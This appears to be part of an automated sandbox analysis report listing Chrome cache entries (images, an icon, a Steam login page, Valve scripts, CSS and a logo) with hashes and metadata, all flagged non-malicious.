Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:399EA8C592D411EE91E8F6773DB0009B" xmpMM:DocumentID="xmp.did:399EA8C692D411EE91E8F6773DB0009B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:399EA8C392D411EE91E8F6773DB0009B" stRef:documentID="xmp.did:399EA8C492D411EE91E8F6773DB0009B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.d......IDATx.b..U.d``.......@...4.....0......PWU.p..Q....1\=...2I.\Fg.&3de.....BX..4 ...L...!#....... )!..7m..

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.7842557765994975
Encrypted:	false
SSDEEP:	24:w/6cYW7BnecJjySaePLV9jHFMVHqAQw0hPtaElGb4RhMbEoEq5n/xE:w/6a7BESPzrjH+9qAUl04wfE4n/xE
MD5:	648BD4BAA41A25DB3A6B3D9FC219301D
SHA1:	6B86B2D39C39C99DC3C1449CD15486EAFFF24ED3
SHA-256:	AD4D8A190B5C132245EAB0FCC05D8E363D11FFE34B09E48568FF2499F5B99793
SHA-512:	C16DE7711D99E71F34011F709CEDC3C27AC808182DC9682905B5C75825450DC7676057A3A7BD018AA293869920F13C98BAC91092A23C35341C8B2288ACBBCEB9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;0......pHYs.................sRGB.........gAMA......a....RIDATx..WmLSW.~n).....2>Dt.%`G..."j..>.#.1..>..Lf...M..h.f.d.tY....H..1..4.[b;.&.a.)..W....g.^... ..<..s....y.9..s..........2Z......,[>T.R.t..]V...1.)..D. ..J....L.......:.D....Rf....2...e......0...Ic......cj.....I1...t...S7.F.v!..'.....2\|........z.~..]....<...........0m._>.......89"^.....1.`.).O.v...A.aK!L&..`owT........................u..\.......f.t..X......k.......g.[......"..\|.Zl.........../...\|...j...YP7..2......ui.......3.\..J..Q=..-l.\.i....M.:.............S...0..+-..Z5....5.=.1.A>....a..~m3.w=3S...6..).X$./.ab........g.op..."c.eYr...N...z..O..Ri..\|<..{uC(....T]t.........._T....E,.p..L..(......0:v............h.%gp....s3.ipM?.W.x.eH.\..-.........06.....D...(=....ym.......u."2<...&X...V...U.S........'.i..G..Z.whq....?.\...W..v..8T7..v..#$...>..v<$b$o.E.BE.....h....w.CI.....:..*l....~..M..........$Z............,.Q@X..T..@.._`cB..J.U..j....v.-...........9..

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 719, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	503402
Entropy (8bit):	7.996257220777793
Encrypted:	true
SSDEEP:	12288:vyy70uBu8olN1OkoyLscRq3XNDLNLJ10A:vydHOkhhqXdN7
MD5:	EAA918479400786006BC5A37E77075A2
SHA1:	CB892A61D8643B235AC589D9E0FD7A4A97CE56A9
SHA-256:	69A47EA33E7FA0226B9F23B5837A9075F36A0FFC2E7ADC2F5B30F564E1DAD09C
SHA-512:	52BCD20485323C7451FCFBACF51A3E5366031198177CE53815EE031A451219755421DA894EDEB8E26A83EC84D7E52217B26158DDF5B0449BFFE8F286B2238942
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............A..4....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:4CE48FD624C911E48BC599859989B32F" xmpMM:DocumentID="xmp.did:4CE48FD724C911E48BC599859989B32F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE48FD424C911E48BC599859989B32F" stRef:documentID="xmp.did:4CE48FD524C911E48BC599859989B32F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>}M.....IDATx..}...e..=3...g.n6..nz'.!.@H...\|...b...'"*....S.E..J....i...m....:3..3s.l.........kr.3g......WX..;.D..@

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 76 x 75, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2686
Entropy (8bit):	7.8983946442596595
Encrypted:	false
SSDEEP:	48:gJ/6YRACqqA4fv93zCq/GY0oxlo1SoCvTY5nl4eXmB42cJ5lpsR53J7/3kf:gSYRJA4fv9hBFxcSTLYw42csDN/3kf
MD5:	8A1D77FA0B95FD6C8E21166BDA4229F4
SHA1:	68CD21CC81CC7B812ED41FD7DF98B8C73AAD73BD
SHA-256:	ABF7B6E3C36726CB1DAD94DC2AB7FFAA66A06D76BD59C047EFB1D2867F35409C
SHA-512:	C6AA743B7F72F54661EC39F1876A54D7A3E9C1C6F6AB3359FEEEB581D14734FF7A74A386F894BDB82D04F8D17D89EB3E3A370A6138EE43DB351DD5368E38A6A3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...L...K......a.....pHYs.................sRGB.........gAMA......a.....IDATx..\.r...>..l.i.M;cx.V.....w.v.Yf%..$=..'...t%j.L/.....vLW."e:cz.%c+3.XJ....9....... ....H^..<.._".L.VK%....H...('@......%.C..H.C.h[(....n......cB.rS....%kDBUJ..a...-....n?h..0R..>.u<.$.G.F.[..I....~.F....D]0...!.3......F!.w...M.....7Q}.)...%q..v..3K `..D...Ri-.#14a..M..c.F..2...U..C.V...cI~VH....&...i.-5aW..X'....#X..JsiHKL.R...ur$..5.;...BR.-.aL.y.x.AV.M....'.h).o$Y..........Q.....[....G.....k3z.]..TT.........g.R./..7..V.}.\|}.!.H.;...3(..$Kb..6w..}....eC.0o..Kd.5....'...v.0...p..P........?P.S....+........B..H.?y...%..T...Q.......N !.^\|.\|...t...Z...w/~../.....v.).UzY...d....n.......G&KQ..>{U6..M.@..3....X6...%V.......(..2}.1....7.....O8.A7[..a....r.b..C..H.T.......:m...#.@.~.nv.?.....-~.$....K$.v..-...C..D.E.0...'...ES.,.e...,"......ZTU..k..ug.....1a:D.G.z.....j@.@\?x..C.sow.........~..t.....d..N......O...s..3z.C...L..\|.s.sohd..[E.a...iO......q\|1....a

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3681), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	28986
Entropy (8bit):	5.326398631140981
Encrypted:	false
SSDEEP:	768:LEFFEmHVCBdexIBCLvASvEknsftD+ojhjBtPF5PffVQjOIojIAerikye+T8CjBtb:LEFFEmHVCBdexIBCLvASvEknsftD+ojB
MD5:	6DAE9A09E256EE8AA4735314DC188E15
SHA1:	7E897DA66484DD1DC84322273796687DFBEFD96A
SHA-256:	7441552E0B9449CEFC422F8DB24D8B9B515B9EF688B5CD0A8F7C7DD1768FB159
SHA-512:	2BB3C653327A11E1B144414F368C591470594FE292F9F00D8E5E642441AC4464E0F39C25A88D7D652B06CD6A5519A2CB2FBED60837278F7CACAE910D795171F7
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/login/?14__global-header
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Sign In</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/c

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
URL:	https://steamcommunity.com/favicon.ico
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (22676), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	22842
Entropy (8bit):	4.8737880932940385
Encrypted:	false
SSDEEP:	384:+Yic/Sf4+JAslpN+MhZxEOIqisxp9RO6orsH1XQSmRyeyZ/84t1SSzNQvIkoVMxc:qx4+blpNN7VMxsgE3kSd5/VQ47hD
MD5:	757750902210FF3C0D12DEE4DC5165C6
SHA1:	A3599CA4BD5DA9FB9C83E26813EF62327C541566
SHA-256:	72FF7D67DDC7BD23885CBBA07F3889BE27B50CB597BA41FD546343416676BA67
SHA-512:	EF5CB66E561D5F208A872C65B6732BDAA082D421F9815C8A5A439D5E749890E032C2309C1D7EC66D93D1F897941BB5E2C5F860FD9CF8E13ADFBF1AB60AECA27B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[5231],{72022:e=>{e.exports=JSON.parse('{"language":"english","label_play_free_until_custom":"Play for free until %1$s.","promo_ends_custom":"Offer ends %1$s.","label_play_free_generic":"Play for Free!","label_free_weekend":"Free Weekend","label_free_week":"Free Week","label_just_updated":"Just Updated","label_for_a_limited_time_only":"FOR A LIMITED TIME ONLY","msg_prepurchase_and_play_beta_now":"Pre-Purchase and Play the Beta Now!","msg_play_beta_now":"PLAY THE BETA NOW!","msg_prepurchase_and_get_beta_access":"Pre-Purchase and get Beta Access","msg_steam_workshop_now_available":"Steam Workshop Now Available","msg_now_with_steam_workshop":"Now with Steam Workshop","msg_now_with_steamworks":"Now with Steamworks","msg_now_available_on_steamos":"Now Availab

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	89087
Entropy (8bit):	5.292489473516622
Encrypted:	false
SSDEEP:	1536:dpYuxcehc6Ac/Erc3h5N/a8axkNM2EVshJQIxrMKvPQfsPsdCkCatn0noz4:bYjg9MDsooz1
MD5:	9198B9AE5423B2B0A5B443CF8931263E
SHA1:	5DD6C35CBDE91945E2F730D80FE76FD029860C6E
SHA-256:	19C095CC08CAC827AF261E43869A55140EFF99917321489BCCF1A1C9E44BFA06
SHA-512:	85831025A485C982A42A222015FBEB7C912516D50208027D8C3B784C609E1206EAD068285D09CD32FDAAE760DC0D6E124AA80E496B197133A4F803B0AE357353
Malicious:	false
Reputation:	low
Preview:	..//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, delta );....TabUpdateCounts( tab, delta, max );...}....}....function TabCompletionClosure( tab, delta, max )..{...var tab_closure = tab;...var delta_closure = delta;...var max_closu

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1600x690, components 3
Category:	dropped
Size (bytes):	65743
Entropy (8bit):	7.811780908461519
Encrypted:	false
SSDEEP:	1536:rNLzMwRMBrmzHC4IO0cYFmL+76ELuC+ZYJ+pGXN:JLzVm6dIO0tmqoZC+G9
MD5:	105F079801573F86F1EB00E5A5859B5B
SHA1:	A25DA185557ECC0EB30943F902723B415BBA4728
SHA-256:	B258176E6B291343C18679962AB8658108451A22F12A5AECAB106501D8BC091E
SHA-512:	FB3574ADE953AC8DC2DBD866D035327B73E1AD47528A878BF6B8C328679F44D7CB513A57E74A2E0489A5B42FA1C8992E9EE73EC54F7F19047F2E863BE5FBC8F7
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C" xmpMM:DocumentID="xmp.did:8BA0DB9939F911E4A46BC04E209BF2B0" xmpMM:InstanceID="xmp.iid:8BA0DB9839F911E4A46BC04E209BF2B0" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C5062F826C2DE411BAEF90B629DAE306" stRef:documentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 617 x 617, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	156189
Entropy (8bit):	7.99475625198294
Encrypted:	true
SSDEEP:	3072:6P8wz0Ce7k5r0rl8bT/Ve+0GuwmplG6to6YisdGyMPGJGQRcwx:Ejznr5r0p83/VewmBtHfRkx
MD5:	9389E1E5441EBADDDC281F07CACE6EAD
SHA1:	B5C977584B910B46CC9E6843F2BD3B80DBBBA532
SHA-256:	A49736FDB66045A836A7699F03D728F9D663CA7472D4551B6D60827FD4147E70
SHA-512:	69252082731F799C6497956625C2F88E26DFDEC7FC9F1A13621FF37E12810F45FB37F90E93A7A8AE019641831A71212FA9D7D5697D74B622A948D8F88F05287A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...i...i......q......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:6A6CBA1748F011ED87AC85834D48B374" xmpMM:InstanceID="xmp.iid:6A6CBA1648F011ED87AC85834D48B374" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9458924f-413a-d341-807d-07a2b5845494" stRef:documentID="adobe:docid:photoshop:e5c98063-70ca-a348-8dcf-646ae0b67b84"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......^/IDATx.....U..

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	7389
Entropy (8bit):	5.162675498505817
Encrypted:	false
SSDEEP:	192:zVJMkgIvek6vDbiaWL/TfsUQ6yUgkHsLBvpZX+KP:YFIjgszsmyisz19P
MD5:	659F75C3F7EE038DD2A4D66305D1DA6F
SHA1:	6DB767997054432978A76C09C4A4C453F3D4638D
SHA-256:	E458159DCE75486D40EF6BF8B240B7AC437FAF557D4FEED4FA8052DFBDDA62C1
SHA-512:	60BABF7221FA2A5E626C795E96A9DA6C5BB6DA894E10BA304BFE6A342C6202ADDE76F46F4BEEA10F8EDCE36E3FBC6B132799894BCE6376D05A90BE9BD8D20598
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/styles_mobile_about_v2.css?v=ZZ91w_fuA43S&l=english
Preview:	...responsive_page_template_content {...padding-bottom: 0;..}....#footer_spacer {...background-color: #171a21;..}....a {...color: #1A97FF;..}.....mobile_apps_page {...font-family: 'Motiva Sans';..}.....mobile_section_rows {...max-width: 940px;...margin: 0 auto;...display: flex;...flex-direction: row;..}.....mobile_section_columns {...display: flex;...flex-direction: column;...align-items: center;...justify-content: center;..}.....left_align {...align-items: flex-start;..}.....top-align {...justify-content: flex-start;..}.....fill_column {...width: 100%..}.....mobile_page_section {...padding: 50px 40px;..}.....mobile_page_header {...background: linear-gradient(130.49deg, #25282E 15.41%, #303641 59.02%);...font-style: normal;...padding: 24px;...color: #FFFFFF;..}.....header_item {...padding-bottom: 12px;..}.....mobile_got_apps {...font-weight: 800;...font-size: 40px;...line-height: 57px;...text-align: center;..}.....mobile_stay_connected {...font-weight: 700;...font-size: 20px;...line-he

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2612), with CRLF line terminators
Category:	downloaded
Size (bytes):	154404
Entropy (8bit):	5.337881533074874
Encrypted:	false
SSDEEP:	1536:D1l9Ah60MhmjGFh61e5lnl9bsPdVcTzWMnyN3qxVqGoteFANNfsflM6kQuOEmTMu:n0861e5/9b6dVcm9qVqZfrUEoIm
MD5:	444106254D61C24625741613608F5DA0
SHA1:	2D5B79109AB130C586F006EFF9B3132030E8EA83
SHA-256:	34E7C6C8A8962B8921E20C19BC00A204CACC2BC248D4A0663880EA7FFD03FD67
SHA-512:	96A6A6C6948DE8C819B552FCFA06F9BA13D8102C219E6E4C93D5913B6910AC13C78B1E3641A280377B7915A9BEF9A120C3EFE7B527885ADFF24BFFCFB0272CF7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&l=english
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 25, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1816
Entropy (8bit):	7.335413459481553
Encrypted:	false
SSDEEP:	48:mwqQNn2xkJ3n7OO8oPTFC+6vUycoKGCAHcDsr9CQ:6Y2w72o7Fh68yLdHcYr9CQ
MD5:	C8A9A5322C7A32D42405AEC4ECC91E8C
SHA1:	A6A04E08067EBBC6E9D70361FAD164CAB634BD9D
SHA-256:	02E650004D02B883D1F77E3C9AB18F556D470CC4F41500917D0CDA68EC62D197
SHA-512:	F057B313CE4AEED427AC04B1278A8FFE105843CD0998CAC5E01DDBCD53CAFFCB5584239646A73C40281D671D22C2E163E0FC3F1A589FFF9E9479CAC206EB241B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/search_icon_btn.png
Preview:	.PNG........IHDR...............c....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D62C327C9D6211E6BC85ED92E7B3F4DB" xmpMM:DocumentID="xmp.did:D62C327D9D6211E6BC85ED92E7B3F4DB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D62C327A9D6211E6BC85ED92E7B3F4DB" stRef:documentID="xmp.did:D62C327B9D6211E6BC85ED92E7B3F4DB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`......IDATx.U.k.W.?....fg?21..hT.......H-..VQ.-.......`...(>H...R,B.7...t.iM.i01...nv....;....1...M....a...=...

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	702
Entropy (8bit):	6.805425587929178
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9roNN0kEW0YIzKwbpcdFYOiEscTlEkUJfT2:Ac1spMroN7AYiDbpcdFY8sipGb2
MD5:	E89EE7BC3EEF1CA9184F69758BA3FE36
SHA1:	1D33AE6EF98078966C625BBD7A67A5538DADF4CC
SHA-256:	9498210D8F9B4268D4396C6E0756A0F414895AE89C8ED5EA972E13B172E4DCD3
SHA-512:	D409E6B849F5A54CE98050A2049BA9AA210B73B1900C8A27E2DF2C91D601D678C0E81C1390774D1D2CA07799B48D9F1E8CCE2200F4735BF41575A68622973434
Malicious:	false
Reputation:	low
